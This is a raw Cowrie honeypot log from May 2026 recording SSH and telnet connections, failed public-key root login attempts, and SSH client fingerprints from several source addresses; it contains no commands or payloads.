{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:5e:f3:f8:47:2e:7b:54:eb:b4:bf:38:84:46:01:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeG90Ty5pLMLkya0NNtBq3nzTQEeTM8fyLmb5kuikY7iuZwpzyTMLnRx6aXRJ8dQpLR79JST8TYn4SEI/ilJNLPqTI5cep5ZlyIajscYlMzFjNOyItORlpD+P0hACD7JrXOKeZ13/EOc/0v+Z4VUGIzdPk4NIFVeVEPor6OMoZ9NdKzZ7mN4SsAfN8Rji+5xJyG8iimE0MW5H01h6cl8+zylW4FK0KV5YS4FT6/xl9FuEs55/M5jw8usjVoK2ERF4M9xqV6Ku9gRMxaIpvPdGkbqiSuIZvOIEHA6bVXiRSDy5HDizR0A+aYvfH4e6EpG5Zch3CC8Vj/OT40fPyJuNuF66/XaRYxg9DvWaCd1GTxBZWgYCPpJRx3GDSSww/8z1g+RL2zc857+aeu7ZEbS7m83PizZRLx1YYPDEYeNCvwLCyNy6LDNjpC4qRzmog8CTisMe95ZAAcrq8SVM73viOo+nbi5dIGaKVm25+8K3MryuyyYEkbAEHKHWkZHHgDdKkipuuwFHc5fS1BeDNwtS+n/ZYg7n/y6blsykoMmr8od8/rgbapUxjHC38tzUDIagv6YRC45PJfwRFlzDYxG0HNh8TW1rpVHXzkr6XMhTpY3yny3bdurTilO783QUe00bLyKIGxHUJb1OVnKmQOMVvw+5kT9coCLVaJAWdqDAvfw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:5e:f3:f8:47:2e:7b:54:eb:b4:bf:38:84:46:01:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:19:42.221427Z","src_ip":"148.135.70.18","session":"2ae5c9eff55a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:5e:f3:f8:47:2e:7b:54:eb:b4:bf:38:84:46:01:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeG90Ty5pLMLkya0NNtBq3nzTQEeTM8fyLmb5kuikY7iuZwpzyTMLnRx6aXRJ8dQpLR79JST8TYn4SEI/ilJNLPqTI5cep5ZlyIajscYlMzFjNOyItORlpD+P0hACD7JrXOKeZ13/EOc/0v+Z4VUGIzdPk4NIFVeVEPor6OMoZ9NdKzZ7mN4SsAfN8Rji+5xJyG8iimE0MW5H01h6cl8+zylW4FK0KV5YS4FT6/xl9FuEs55/M5jw8usjVoK2ERF4M9xqV6Ku9gRMxaIpvPdGkbqiSuIZvOIEHA6bVXiRSDy5HDizR0A+aYvfH4e6EpG5Zch3CC8Vj/OT40fPyJuNuF66/XaRYxg9DvWaCd1GTxBZWgYCPpJRx3GDSSww/8z1g+RL2zc857+aeu7ZEbS7m83PizZRLx1YYPDEYeNCvwLCyNy6LDNjpC4qRzmog8CTisMe95ZAAcrq8SVM73viOo+nbi5dIGaKVm25+8K3MryuyyYEkbAEHKHWkZHHgDdKkipuuwFHc5fS1BeDNwtS+n/ZYg7n/y6blsykoMmr8od8/rgbapUxjHC38tzUDIagv6YRC45PJfwRFlzDYxG0HNh8TW1rpVHXzkr6XMhTpY3yny3bdurTilO783QUe00bLyKIGxHUJb1OVnKmQOMVvw+5kT9coCLVaJAWdqDAvfw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:19:42.225575Z","src_ip":"148.135.70.18","session":"2ae5c9eff55a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:1c:cf:90:53:b9:18:d4:fa:f9:09:46:00:83:d0:6f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBFDVHQSVcur3I2Ak9tdoVZy7EZJwfGPNKXGhhFKzndz","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c8:1c:cf:90:53:b9:18:d4:fa:f9:09:46:00:83:d0:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:19:42.294740Z","src_ip":"148.135.70.18","session":"2ae5c9eff55a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:1c:cf:90:53:b9:18:d4:fa:f9:09:46:00:83:d0:6f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBFDVHQSVcur3I2Ak9tdoVZy7EZJwfGPNKXGhhFKzndz","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:19:42.298535Z","src_ip":"148.135.70.18","session":"2ae5c9eff55a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:41:0c:fd:a7:48:98:dd:d9:b4:cd:bd:3e:07:36:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpnkRLaFPoY4oEPFYUnctaSUimzCpY8FH+P7iUYBEFGzNTog/XdcCjhg+BzwckDQVEOV7ZvP+sGLl5sZBbay3SsZYqhT9rnwAJE0p2luzH+5eCTaYku/C1HtXu6EA4YhEz4V+OPL28kx2BksIYkyI7nNMNd4LmEsSfInsERyDvkRcSKFPxtW2diFyis29rycWfbrpe2n4YaAViWKA2iC8UP5NW05fEecepc4dvhvu13zBVjWgVfFWuozfbCCFcdzCN9A2lFvlpe0yT5bG/nMhCPZQwGPW1YZsfrKt6aVlSv0eXVKYklYyTBrMqwdqBPKhEseBpBBOu58sqOiAfTtcV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:41:0c:fd:a7:48:98:dd:d9:b4:cd:bd:3e:07:36:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:19:42.367420Z","src_ip":"148.135.70.18","session":"2ae5c9eff55a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:41:0c:fd:a7:48:98:dd:d9:b4:cd:bd:3e:07:36:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpnkRLaFPoY4oEPFYUnctaSUimzCpY8FH+P7iUYBEFGzNTog/XdcCjhg+BzwckDQVEOV7ZvP+sGLl5sZBbay3SsZYqhT9rnwAJE0p2luzH+5eCTaYku/C1HtXu6EA4YhEz4V+OPL28kx2BksIYkyI7nNMNd4LmEsSfInsERyDvkRcSKFPxtW2diFyis29rycWfbrpe2n4YaAViWKA2iC8UP5NW05fEecepc4dvhvu13zBVjWgVfFWuozfbCCFcdzCN9A2lFvlpe0yT5bG/nMhCPZQwGPW1YZsfrKt6aVlSv0eXVKYklYyTBrMqwdqBPKhEseBpBBOu58sqOiAfTtcV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:19:42.374402Z","src_ip":"148.135.70.18","session":"2ae5c9eff55a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:04:0f:de:47:c5:45:ee:6f:d1:88:17:57:b5:d1:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbyHU4BOFdIS8h4emHxFOOHMc34bOuqmA9Xi3WvcP110w0rxy/fx/177/7Q2M2ULY20T9IYWOVdyYU1/VWxudm30om6B7UMwFAdz532L1XdciM4vK6apueTNvzTE59Wu4LqQ6m76AQXXZbucZAQXuNSOdp86736lqrx1lf3+Gauo80sYXo8hBjEGOUMQEuESXSCvN6AJATz+Z2570J0tloJqf5Sll/yUAoeP6bVH+0ZWRNi9esn+znaESDB37BctIpniz22xfvjbfIrcBKy0HuKnO+/2LCMNDBRt1uv6dAplbpj9LKSIStBsTI2O7rXMjJZkc/dK5S+q4N7wKRg819","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:04:0f:de:47:c5:45:ee:6f:d1:88:17:57:b5:d1:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:19:42.480734Z","src_ip":"148.135.70.18","session":"2ae5c9eff55a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:04:0f:de:47:c5:45:ee:6f:d1:88:17:57:b5:d1:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbyHU4BOFdIS8h4emHxFOOHMc34bOuqmA9Xi3WvcP110w0rxy/fx/177/7Q2M2ULY20T9IYWOVdyYU1/VWxudm30om6B7UMwFAdz532L1XdciM4vK6apueTNvzTE59Wu4LqQ6m76AQXXZbucZAQXuNSOdp86736lqrx1lf3+Gauo80sYXo8hBjEGOUMQEuESXSCvN6AJATz+Z2570J0tloJqf5Sll/yUAoeP6bVH+0ZWRNi9esn+znaESDB37BctIpniz22xfvjbfIrcBKy0HuKnO+/2LCMNDBRt1uv6dAplbpj9LKSIStBsTI2O7rXMjJZkc/dK5S+q4N7wKRg819","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:19:42.484651Z","src_ip":"148.135.70.18","session":"2ae5c9eff55a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:0a:38:ca:54:82:7d:ea:dc:a4:1f:a1:a6:81:74:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtZaAanytl1pq7f38dIxrU03J4qb7gTdGIs2CAWgX9HoxKL0a6sW/HtcexcYdTQUJzADcfLs4fQqTh8etCEE7RzfX4w5GqxFS5oKo+Oc1Hax3k0IrJmYq4/oNmu0yd9pGSil9Mipy34MYo2nfJiEjdMTjkgmUSen/LXe4aTDOa6xkEhKoXijzRfWqAjC2h/oSXZLojjao3zokhrGJfTLKzpA+j13uz2oEvcv0/PFPBG6cVs0zXnaOwgeLaP/zGiBnoMXqbmUFR0ezCcFEamVlOGmG3uyQA3IHIn2cBtCRkRJpTvtLifF6FR5KEKCKNOj1kp0a0bUU8Q0eeiFc9EbgZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:0a:38:ca:54:82:7d:ea:dc:a4:1f:a1:a6:81:74:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:19:42.554313Z","src_ip":"148.135.70.18","session":"2ae5c9eff55a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:0a:38:ca:54:82:7d:ea:dc:a4:1f:a1:a6:81:74:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtZaAanytl1pq7f38dIxrU03J4qb7gTdGIs2CAWgX9HoxKL0a6sW/HtcexcYdTQUJzADcfLs4fQqTh8etCEE7RzfX4w5GqxFS5oKo+Oc1Hax3k0IrJmYq4/oNmu0yd9pGSil9Mipy34MYo2nfJiEjdMTjkgmUSen/LXe4aTDOa6xkEhKoXijzRfWqAjC2h/oSXZLojjao3zokhrGJfTLKzpA+j13uz2oEvcv0/PFPBG6cVs0zXnaOwgeLaP/zGiBnoMXqbmUFR0ezCcFEamVlOGmG3uyQA3IHIn2cBtCRkRJpTvtLifF6FR5KEKCKNOj1kp0a0bUU8Q0eeiFc9EbgZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:19:42.558141Z","src_ip":"148.135.70.18","session":"2ae5c9eff55a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:19:42.627139Z","src_ip":"148.135.70.18","session":"2ae5c9eff55a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.167.160.21","src_port":50878,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aa031362fdf","protocol":"telnet","message":"New connection: 76.167.160.21:50878 (159.203.135.109:23) [session: 1aa031362fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:19:51.055140Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":47404,"dst_ip":"10.17.0.5","dst_port":23,"session":"a28f4f9e0f19","protocol":"telnet","message":"New connection: 194.180.12.23:47404 (10.17.0.5:23) [session: a28f4f9e0f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:20:01.090106Z"}
{"eventid":"cowrie.session.closed","duration":1.5545268058776855,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:20:02.644503Z","src_ip":"194.180.12.23","session":"a28f4f9e0f19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"130.93.136.91","src_port":45290,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0e91cf7a6db","protocol":"telnet","message":"New connection: 130.93.136.91:45290 (159.203.135.109:23) [session: f0e91cf7a6db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:20:46.182136Z"}
{"eventid":"cowrie.session.closed","duration":13.264480352401733,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:20:59.446510Z","src_ip":"130.93.136.91","session":"f0e91cf7a6db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.202.48","src_port":45006,"dst_ip":"10.17.0.5","dst_port":23,"session":"d35de0a5a00e","protocol":"telnet","message":"New connection: 165.227.202.48:45006 (10.17.0.5:23) [session: d35de0a5a00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:10.541725Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.110.115.68","src_port":52530,"dst_ip":"10.17.0.5","dst_port":22,"session":"93c996fd9f48","protocol":"ssh","message":"New connection: 175.110.115.68:52530 (10.17.0.5:22) [session: 93c996fd9f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:22.483067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:22.492515Z","src_ip":"175.110.115.68","session":"93c996fd9f48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:22.582268Z","src_ip":"175.110.115.68","session":"93c996fd9f48","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:b0:21:8d:9e:ca:00:a2:b7:ce:e9:6a:82:f9:76:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDokZ9sBkhVksQKtJ0ziq38NAfzlReeu0iZZCaAYIDu0PwZVv9BwmnjNo6FEX+CciZc/EUoUOWqWVc8q7Pxy614Kddmkq5nZ3cD5MVn0kAC3OEQvzvp/5N+2NRsRCrCY7E1fvNcsb1xq8PTExgIHVQFY7P2yP3Os8GmAyOoAo2rGkGj3PlDL+oet5kz7Pr0Rsf21XwB1Lc/qfiTXwHkdstEIA1Qq6M1vHVKcM+qdZBnh8MKJRsezdMLEFeZP2kmY8EqI0oBp/AnSemiBY0qmjwuJ69/DAkhYyiU7RH2qiqU5U5ICWgMApUZG/B4PzoCmPHWO1aeyk+g++7tPq7YEXzJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:b0:21:8d:9e:ca:00:a2:b7:ce:e9:6a:82:f9:76:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:23.008273Z","src_ip":"175.110.115.68","session":"93c996fd9f48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:b0:21:8d:9e:ca:00:a2:b7:ce:e9:6a:82:f9:76:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDokZ9sBkhVksQKtJ0ziq38NAfzlReeu0iZZCaAYIDu0PwZVv9BwmnjNo6FEX+CciZc/EUoUOWqWVc8q7Pxy614Kddmkq5nZ3cD5MVn0kAC3OEQvzvp/5N+2NRsRCrCY7E1fvNcsb1xq8PTExgIHVQFY7P2yP3Os8GmAyOoAo2rGkGj3PlDL+oet5kz7Pr0Rsf21XwB1Lc/qfiTXwHkdstEIA1Qq6M1vHVKcM+qdZBnh8MKJRsezdMLEFeZP2kmY8EqI0oBp/AnSemiBY0qmjwuJ69/DAkhYyiU7RH2qiqU5U5ICWgMApUZG/B4PzoCmPHWO1aeyk+g++7tPq7YEXzJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:23.012992Z","src_ip":"175.110.115.68","session":"93c996fd9f48","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:08:cb:28:d2:ea:4b:6c:f3:79:47:d9:83:8f:79:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEWv0rec676oWbtSAFcMaERdOM0ucaRe1ZC9l5FnINjGzHA5Dgz72X3N+Ai84VpqJMKsNhCa1p0dD+auIJO3qYLWEUP8FKOmaHih2v0ofJ9WicW6HAb/raY6gmw4KZLGQAW/TWhE2tSIu4EqzW+RV5hK0s4bdwO31rMkOXq0UCJ3cMK/Ns74g/JAZag5pouZX7MTvpCypV4tNkXyrt4sEm0aIMPBJjIrw2ez95rqOULEAXqqHT7WALbnFnEDCoYe4ikNukLzYubFTPHy6LVY3T0U358Tpzw/+jfq2UEhJiwd4Qqr9V0s6s/KjRmxwkvk409/EYw9B6gBuyVaD2y+Gf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:08:cb:28:d2:ea:4b:6c:f3:79:47:d9:83:8f:79:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:23.107990Z","src_ip":"175.110.115.68","session":"93c996fd9f48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:08:cb:28:d2:ea:4b:6c:f3:79:47:d9:83:8f:79:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEWv0rec676oWbtSAFcMaERdOM0ucaRe1ZC9l5FnINjGzHA5Dgz72X3N+Ai84VpqJMKsNhCa1p0dD+auIJO3qYLWEUP8FKOmaHih2v0ofJ9WicW6HAb/raY6gmw4KZLGQAW/TWhE2tSIu4EqzW+RV5hK0s4bdwO31rMkOXq0UCJ3cMK/Ns74g/JAZag5pouZX7MTvpCypV4tNkXyrt4sEm0aIMPBJjIrw2ez95rqOULEAXqqHT7WALbnFnEDCoYe4ikNukLzYubFTPHy6LVY3T0U358Tpzw/+jfq2UEhJiwd4Qqr9V0s6s/KjRmxwkvk409/EYw9B6gBuyVaD2y+Gf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:23.112046Z","src_ip":"175.110.115.68","session":"93c996fd9f48","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:de:d0:5f:06:ad:f0:6b:55:8c:39:cd:89:13:64:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6jgwJYyKMuUnHaaOvDd8U2oIwDrUgoCNWP8+FPBGY/WhDzCvfzc7PawB7eaGh22Qn2b9j+hGeycqt6/HCV/nO+IVwKttURHvOSTV/QuqtAtfBs46CECOxVEd85Nf4N/T5CC/ODAAMUCuNmHrbhMtxoUObHATUSuUOA7mk09oxq31c8U79Pdkm5BC8Pv6Fr3VGM0NJTNc+omsqTJMbGVMtDKMn4Bd4Ps/gRYKivfwgL9+qKfzy2PZ40SyiF5zSmGvQiJ6HGi9syXSb3U0KYYngcbHKj/kGjpwzZFCcUPkQPIUM7lPKO1puw9n7SWClHfJwIU/4jfXYxroPxVLs9Q09w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:de:d0:5f:06:ad:f0:6b:55:8c:39:cd:89:13:64:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:23.203288Z","src_ip":"175.110.115.68","session":"93c996fd9f48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:de:d0:5f:06:ad:f0:6b:55:8c:39:cd:89:13:64:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6jgwJYyKMuUnHaaOvDd8U2oIwDrUgoCNWP8+FPBGY/WhDzCvfzc7PawB7eaGh22Qn2b9j+hGeycqt6/HCV/nO+IVwKttURHvOSTV/QuqtAtfBs46CECOxVEd85Nf4N/T5CC/ODAAMUCuNmHrbhMtxoUObHATUSuUOA7mk09oxq31c8U79Pdkm5BC8Pv6Fr3VGM0NJTNc+omsqTJMbGVMtDKMn4Bd4Ps/gRYKivfwgL9+qKfzy2PZ40SyiF5zSmGvQiJ6HGi9syXSb3U0KYYngcbHKj/kGjpwzZFCcUPkQPIUM7lPKO1puw9n7SWClHfJwIU/4jfXYxroPxVLs9Q09w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:23.207632Z","src_ip":"175.110.115.68","session":"93c996fd9f48","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:50:cf:d8:a0:b6:93:6a:23:4f:1b:ae:61:85:9d:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwkPThzcc4GywgndsoGhPtavggJ1tnQZFCzN1Pxzk837hO7p+lCHTcJ2TzPkuf+s5jUAtZ3+hYwCOh4/BnL+7Zr8WacMpomqb+CdvcwnZJ+/+yoUyVNKqJ7JDhpQOvLyH+ravCzEW2lbkbdMJ18boTE8DbtZ4Q3FVgNmGWlAIQFv1hBToqZzCMr1lL9MBd6fLQi6f5tecdsmIcL7PmiplPmd9HDgBzQqgXRQWE6nedfmMTbf/4CIMu7FCNi2z+ZWFI4N4j7c2Fc5yMNFANLNCfkV43JRLxP7c6jBm6bL/GG4+BmEMuRkGhNBcg75OPAVxYgds9PLvsrJaDPAyHeB0dw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:50:cf:d8:a0:b6:93:6a:23:4f:1b:ae:61:85:9d:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:23.301222Z","src_ip":"175.110.115.68","session":"93c996fd9f48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:50:cf:d8:a0:b6:93:6a:23:4f:1b:ae:61:85:9d:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwkPThzcc4GywgndsoGhPtavggJ1tnQZFCzN1Pxzk837hO7p+lCHTcJ2TzPkuf+s5jUAtZ3+hYwCOh4/BnL+7Zr8WacMpomqb+CdvcwnZJ+/+yoUyVNKqJ7JDhpQOvLyH+ravCzEW2lbkbdMJ18boTE8DbtZ4Q3FVgNmGWlAIQFv1hBToqZzCMr1lL9MBd6fLQi6f5tecdsmIcL7PmiplPmd9HDgBzQqgXRQWE6nedfmMTbf/4CIMu7FCNi2z+ZWFI4N4j7c2Fc5yMNFANLNCfkV43JRLxP7c6jBm6bL/GG4+BmEMuRkGhNBcg75OPAVxYgds9PLvsrJaDPAyHeB0dw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:23.305506Z","src_ip":"175.110.115.68","session":"93c996fd9f48","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:c9:dd:bb:d4:7f:cc:6a:df:26:ed:e5:1d:c8:09:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8CUHtJcswMMgL7gWGNmvF6onTV8YYZd9pANB/WOHe+MjQ4dxlJu1Bq30oXjdcF9Jn26feao2+VbGpr3jL16JUlwMmAdcppG/YB+xUw96FFafBUS+h1UL8Q+zv/LiMmORqOkRt+cUaFE0ju3Z3i11VNeNi87i70qRKIArCc3Uytghbk4Jdtb47PFpTjX2PhhsPu4y0IWHqwCvn3AC0LnNIF2Hep0CbZwhJk9+VApygnYMuNpjb/1qMobLID7xEOZQtHb2zWpCHfUF+qZkQ/7AEYYDg3dTKgIv3OItRhkRmKfdmol2JLNtSDLfNXS74PIxdjO/A3fT0lr+NXUoKZXKkc74rHjwD+e0daTxHse+rYNI/PqhwF8PtTBb8j9G0Tmd0WoqJi6Xp3RQDIFJUvB1AArDqrgHoMe+YDaOMrqP71GqYS0qGhzEV+Rg0sNBYtZbPJWDec5NNBreJmZ5l/XjADAeqZq8bO81CKm8iUSHUVz1w1svK0RygQw2dK4CO0UU0gCz5L7SwW4iMLH3csai/nKUDXzzcIXPKURJwU4fABYeNR0Wony7FOd6Qyx2asDfgGr8p8VngqHR076btoXjzrlrDbflsOF9MNSQ3ukKv+D6BUf39qbyboZ03WfkuIp+2VP2YaVMHkycc7HEEMSLPVMLX76OV/fAdZPIOcXAtbQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:c9:dd:bb:d4:7f:cc:6a:df:26:ed:e5:1d:c8:09:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:21:23.421104Z","src_ip":"175.110.115.68","session":"93c996fd9f48","protocol":"ssh"}
